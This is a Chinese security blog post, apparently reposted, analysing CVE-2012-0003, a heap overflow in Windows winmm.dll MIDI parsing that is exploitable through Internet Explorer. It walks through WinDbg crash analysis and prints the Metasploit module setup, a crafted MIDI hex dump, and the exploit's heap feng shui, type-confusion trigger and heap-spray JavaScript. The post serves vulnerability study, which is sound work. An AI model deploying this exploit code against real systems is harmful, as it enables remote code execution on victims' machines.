转载

【技术分享】《漏洞战争》cve-2012-0003学习分析

【技术分享】《漏洞战争》cve-2012-0003学习分析

作者: quanyechavshuo

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至 linwei#360.cn ,或登陆网页版在线投稿

0x00 about

这个漏洞是由于微软的多媒体库winmm.dll(c:/windows/system32/winmm.dll)在处理MIDI文件时,由于对数据的处理不当导致的"堆溢出",攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码。

0x01 准备工作

使用msf中的exp:

 msfconsole
    search cve-2012-0003
    use exploit/windows/browser/ms12_004_midi
    set uripath test.html
    set payload windows/exec
    set cmd calc.exe
        server started
        http://192.168.118.129:8080/test.html

奇怪的是在系统中不存在test.html,但是访问上面生成的网马链接确实会中马,后来查看msf中的exp:ms12_004_midi.rb,里面生成html的代码为:

 send_response(cli, html, {'Content-Type'=>'text/html'})

send_response函数在msfapi中有如下用法:

msfapi_send_response

也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问:
http://192.168.118.129:8080/test.html

这种方式比较特殊,可能msf的web是ruby的某个类似python下的Django的web框架开发的。

0x02 调试分析

打开iexplore.exe, win+r:cmd:

gflags -i iexplore.exe +hpa

这里如果在windbg中设置!gflag +hpa不会成功,可能是winxp或是windbg的问题,windbg:f6附加iexplore.exe:

!gflag
    0:016> !gflag
    Current NtGlobalFlag contents: 0x02000000
        hpa - Place heap allocations at ends of pages
g

ie打开: http://192.168.118.129:8080/test.html

(180.6f8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60
    eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16a7f019=??

到这里只知道76b2d224处有内存访问异常,然而要想写出exp,还需要弄清参数传递过程,这个"堆溢出"cve的利用不是DWORD SHOOT,而是巧妙地构造html代码达到控制eip的目的,如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个DWORD SHOOT的机会来覆盖异常处理相关的函数地址来控制eip,且要在可控数据复制到内存后找到堆分配调用。
win+r:cmd:

gflags -i iexplore.exe -hpa
bu WINMM!midiOutPlayNextPolyEvent
g

ie打开: http://192.168.118.129:8080/test.html

Breakpoint 0 hit
    eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8
    eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi

此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常:

bu WINMM!midiOutPlayNextPolyEvent+0x1ec
g
    Breakpoint 0 hit
    eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0
    eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:046de111=00
此时中断下来,看到这里的[esi]与上面异常访问时的[esi]不同,考虑到启用页堆是在堆块后增加专门用于检测溢出的栅栏页,以便在堆溢出触及栅栏页时立刻触发异常,而+hp a和-hpa的情况下[esi]不同,应该不是由于页堆造成的[esi]的不同,猜测是由于WINMM!midiOutPlayNextPolyEvent+0x1ec处要执行多遍,而刚开始执行到WINMM!midiOutPlayNextPolyEvent+0x1ec 时,[esi]处是可以访问的,只是msf中设置好的exp数据在后面某一次程序执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时,[esi]产生了变化,并在+hpa时,[esi]

属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常,为了验证这个想法,进行如下操作:

关闭windbg,重新打开ie,cmd:

gflags -i iexplore.exe +hpa

打开windbg,f6加载iexplore.exe:

bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g

ie打开: http://192.168.118.129:8080/test.html

 Breakpoint 1 hit
    eax=00000000 ebx=ffffffff ecx=7ff9d000 edx=16840f70 esi=16840f60 edi=16840fb8
    eip=76b2d038 esp=365bfbe0 ebp=365bfc0c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi
g
    Breakpoint 1 hit
    eax=00000000 ebx=ffffffff ecx=7ff98000 edx=16840f70 esi=16840f60 edi=16840fb8
    eip=76b2d038 esp=3690fea4 ebp=3690fedc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi

这里看到 WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置, 在+1ec之前就返回了,

g
    Breakpoint 0 hit
    eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=16842e51 edi=16840f60
    eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16842e51=00

这里看 到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常,

g
    Breakpoint 0 hit
    eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
    eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16843019=??

这里看 到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证,

g
    (51c.674): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
    eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16843019=??

这里可以看到的确是会触发异常的,也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会访问异常,-hpa情况会怎样呢?进行如下操作验证:

关闭windbg,重新打开ie:

gflags -i iexplore.exe -hpa

打开windbg,f6加载iexplore.exe:

bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g

ie打开: http://192.168.118.129:8080/test.html

Breakpoint 1 hit
    eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=0256aa28 esi=0256aa18 edi=0256aa70
    eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi
g
    Breakpoint 1 hit
    eax=00000000 ebx=ffffffff ecx=7ff98000 edx=0256aa28 esi=0256aa18 edi=0256aa70
    eip=76b2d038 esp=0392fea4 ebp=0392fedc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi
g
    Breakpoint 0 hit
    eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=025cae59 edi=0256aa18
    eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:025cae59=00
g
    Breakpoint 0 hit
    eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=025cb021 edi=0256aa18
    eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:025cb021=00

可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的,结合+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的这句指令将导致产生"堆溢出"。

u .
    WINMM!midiOutPlayNextPolyEvent+0x1ec:
    76b2d224 8a06            mov     al,byte ptr [esi]
    76b2d226 8ad0            mov     dl,al
    76b2d228 740c            je      WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
    76b2d22a 80e2f0          and     dl,0F0h
    76b2d22d 80faf0          cmp     dl,0F0h
    76b2d230 742d            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    76b2d232 0410            add     al,10h
    76b2d234 eb0a            jmp     WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)

看到的不多,扩大汇编指令范围:

u eip-30 eip+30
    WINMM!midiOutPlayNextPolyEvent+0x1bc:
    76b2d1f4 e2f0            loop    WINMM!midiOutPlayNextPolyEvent+0x1ae (76b2d1e6)
    76b2d1f6 80fa90          cmp     dl,90h
    76b2d1f9 8855ff          mov     byte ptr [ebp-1],dl
    76b2d1fc 7405            je      WINMM!midiOutPlayNextPolyEvent+0x1cb (76b2d203)
    76b2d1fe 80fa80          cmp     dl,80h
    76b2d201 755c            jne     WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    76b2d203 0fb6550b        movzx   edx,byte ptr [ebp+0Bh]
    76b2d207 83e00f          and     eax,0Fh
    76b2d20a c1e007          shl     eax,7
    76b2d20d 03c2            add     eax,edx
    76b2d20f 99              cdq
    76b2d210 2bc2            sub     eax,edx
    76b2d212 d1f8            sar     eax,1
    76b2d214 807dff80        cmp     byte ptr [ebp-1],80h
    76b2d218 742a            je      WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
    76b2d21a 84db            test    bl,bl
    76b2d21c 7426            je      WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
    [***]76b2d21e 03f0            add     esi,eax
    76b2d220 f6450b01        test    byte ptr [ebp+0Bh],1
    [==============>eip]76b2d224 8a06            mov     al,byte ptr [esi]
    76b2d226 8ad0            mov     dl,al
    76b2d228 740c            je      WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
    76b2d22a 80e2f0          and     dl,0F0h
    76b2d22d 80faf0          cmp     dl,0F0h
    76b2d230 742d            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    76b2d232 0410            add     al,10h
    76b2d234 eb0a            jmp     WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
    76b2d236 80e20f          and     dl,0Fh
    76b2d239 80fa0f          cmp     dl,0Fh
    76b2d23c 7421            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    [***]76b2d23e fec0            inc     al
    [***]76b2d240 8806            mov     byte ptr [esi],al
    76b2d242 eb1b            jmp     WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    76b2d244 f6450b01        test    byte ptr [ebp+0Bh],1
    76b2d248 8d1430          lea     edx,[eax+esi]
    76b2d24b 8a02            mov     al,byte ptr [edx]
    76b2d24d 7408            je      WINMM!midiOutPlayNextPolyEvent+0x21f (76b2d257)
    76b2d24f a8f0            test    al,0F0h
    76b2d251 740c            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
    76b2d253 2c10            sub     al,10h

在当前eip处eax=0x419,而eip最近执行过的与eax相关的指令为76b2d21e处的add esi,eax,书中分析的是此处的esi来源于winmmAlloc(0x400)分配到的内存地址,而add esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容 ,在eip下面的76b2d23e和76b2d240处可以看到,[esi]的值会加1,也即在超出0x19大小处的内存中的内容会加1,这就是这个漏洞的危害:导致内存某处的值+1,只要能够控制这个0x19处的内存的内容,就有机会利用这个漏洞。

上面之所以会有76b2d240处的导致[esi]加1的出现,是要在mid文件中的某个音轨事件处写上"打开音符"对应的值(书中是0x0073b29f),如下||之间的内容:

 00000000: 4d54 6864 0000 0006 0000 0001 0060 4d54  MThd.........`MT
    00000010: 726b 0000 0035 00ff 030d 4472 756d 7320  rk...5....Drums 
    00000020: 2020 2842 4229 0000 c928 00b9 0764 00b9    (BB)...(...d..
    00000030: 0a40 00b9 7b00 00b9 5b28 00b9 5d00 8550  .@..{...[(..]..P
    00000040: 9923 7f00|9fb2 7300|ff2f 000a            .#....s../..

满足mid文件中对应位置处的值为"打开音符"后,会导致在当前eip环境下的[esi]加1,也即76b2d21e执行后的[esi]加1,也即winAlloc(0x400)分配到的内存地址+0x19处的内容加1,而利用方式中正好是利用相应内存中的值加1导致任意代码执行。书中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400),也即在打开mid文件后会有一个这样的内存分配动作,于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控:
|xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|...
也即在mid文件被ie解析之前,先用js构造上面这样的内存格式,其中xxx表示有数据,ooo表示空闲内存,每个||之间的内存大小正好为0x400,这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的某个位置上,然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件,于是ie解析mid文件后,将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1,当上面构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时,就可以利用这个漏洞了,而书中(msf)的利用方式是用下面的js来达到目的的:

[msf中的构造特殊内存结构的由ruby写的js]
    def build_element(element_name, my_target, type="corruption")
      dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
      element = ''
  
      if my_target.name =~ /IE 8/
        max   = 63   # Number of attributes for IE 8
        index = 1    # Where we want to confuse the type
      else
        max   = 55   # Number of attributes for before IE 8
        index = 0    # Where we want to confuse the type
      end
  
      element << "var #{element_name} = document.createElement(/"select/")" + "/n"
  
      # Build attributes
      0.upto(max) do |i|
        case type
          when "corruption"
            obj = (i==index) ? "unescape(/"#{dst}/")" : ""
          else #leak
            obj = ""
        end
        element << "#{element_name}.w#{i.to_s} = #{obj}" + "/n"
      end
  
      return element
    end
    # Feng Shui and triggering Steps:
    # 1. Run the garbage collector before allocations
    # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
    # 3. Make holes
    # 4. Let windows media play the crafted midi file and corrupt the heap
    # 5. Force the using of the confused tagVARIANT.
    def build_trigger(my_target, type="corruption")
      js_trigger = build_trigger_fn(my_target, type)
      select_element = build_element('selob', my_target, type)
  
      trigger = <<-JS
        var heap = new heapLib.ie();
        #{select_element}
        var clones = new Array(1000);
  
        function feng_shui() {
          heap.gc();
  
          var i = 0;
          while (i < 1000) {
            clones[i] = selob.cloneNode(true)
            i = i + 1;
          }
  
          var j = 0;
          while (j < 1000) {
            delete clones[j];
            CollectGarbage();
            j  = j + 2;
          }
        }
  
        feng_shui();
  
        #{js_trigger}
      JS
  
      trigger = heaplib(trigger, {:noobfu => true})
      return trigger
    end

上面msf中的代码对应书中的如下代码:

 var selob=document.createElement("select")
    selob.w0=
    selob.w1=unescape("%u0c0c %u0c0c")
    selob.w2=
    selob.w3=
    selob.w4=
    selob.w5=
    ...
    ...
    selob.w63=
    var clones=new Array(1000)
    
    function feng_shui(){
    var i=0
    while (i<1000){
    clones[i]=selob.cloneNode(true)
    i=i+1
    }
    var j=0
    while(j<1000){
    delete clones[j]
    CollectGarbage()
    j=j+2
    }
    }

上面为了达到某处内容值+1得到控制代码执行的目的使用的是:

创建select元素selob,设置64个属性,其中w1为string类型,其余为object类型,然后创建一个数组用来存放1000个selob元素,然后间隔释放1000个selob元素中的500个元素,然后由于ie解析mid文件,运行了winmmAlloc(0x400),得到的分配地址位于某个释放的selob元素的位置,由于mid文件中某处已经构造好了音轨事件是"打开音符",于是会使得某个selob元素的+19位置的值+1,于是该selob元素的第二个属性w1由string变成object,然后由下面的js来触发这个变成object的属性相应函数的执行,触发js如下:

 function trigger(){
    var k=999
    while (k>0){
    if (typeof(clones[k].w1)=="string"){
    }else{
    clone[k].w1('come on!')
    }
    
    k=k-2
    }
    feng_shui()
    document.audio.Play()
    }

上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的
document.audio.Play执行之后]):

</script>
    <script for=audio event=PlayStateChange(oldState,newState)>
        if (oldState == 3 && newState == 0) {
            trigger();
        }
    </script>

在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址,对应msf中的构造堆喷射内存 布局的代码如下:

def build_spray(my_target, leak=0)
  
      # Extract string based on target
      if my_target.name == 'IE 8 on Windows XP SP3'
        js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
      else
        js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
      end
  
      # Build shellcode based on Rop requirement
      code = ''
      if my_target['Rop'] and datastore['MSHTML'].to_s != ''
        print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
        code << create_info_leak_rop(my_target, leak)
        code << payload.encoded
      elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
        print_status("Generating ROP using msvcrt")
        code << create_rop(my_target, payload.encoded)
      else
        code << payload.encoded
      end
  
      shellcode = Rex::Text.to_unescape(code)
  
      # 1. Create  big block of nops
      # 2. Compose one block which is nops + shellcode
      # 3. Repeat the block
      # 4. Extract string from the big block
      # 5. Spray
      spray = <<-JS
      var heap_obj = new heapLib.ie(0x10000);
  
      var code = unescape("#{shellcode}");
      var nops = unescape("%u0c0c%u0c0c");
  
      while (nops.length < 0x1000) nops+= nops;
      var shellcode =  nops.substring(0,0x800 - code.length) + code;
      while (shellcode.length < 0x40000) shellcode += shellcode;
  
      #{js_extract_str}
  
      heap_obj.gc();
      for (var i=0; i < 600; i++) {
        heap_obj.alloc(block);
      }
  
      JS
  
      spray = heaplib(spray, {:noobfu => true})
      return spray
    end

0x03 小结 

漏洞场景:

程序(iexplore.exe)解析特殊构造的文件(mid)时,在内存中可找到有内存分配动作(winmmAlloc),分配的内存大小一定(0x400),如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变大小动作(使0x419偏移处的值+1)。

利用方法:

可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip。

参考文献

林桠泉.      漏洞战争:软件漏洞分析精要[M]. 北京:电子工业出版社, 2016.

【技术分享】《漏洞战争》cve-2012-0003学习分析 【技术分享】《漏洞战争》cve-2012-0003学习分析

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/3278.html

原文  http://bobao.360.cn/learning/detail/3278.html
正文到此结束
Loading...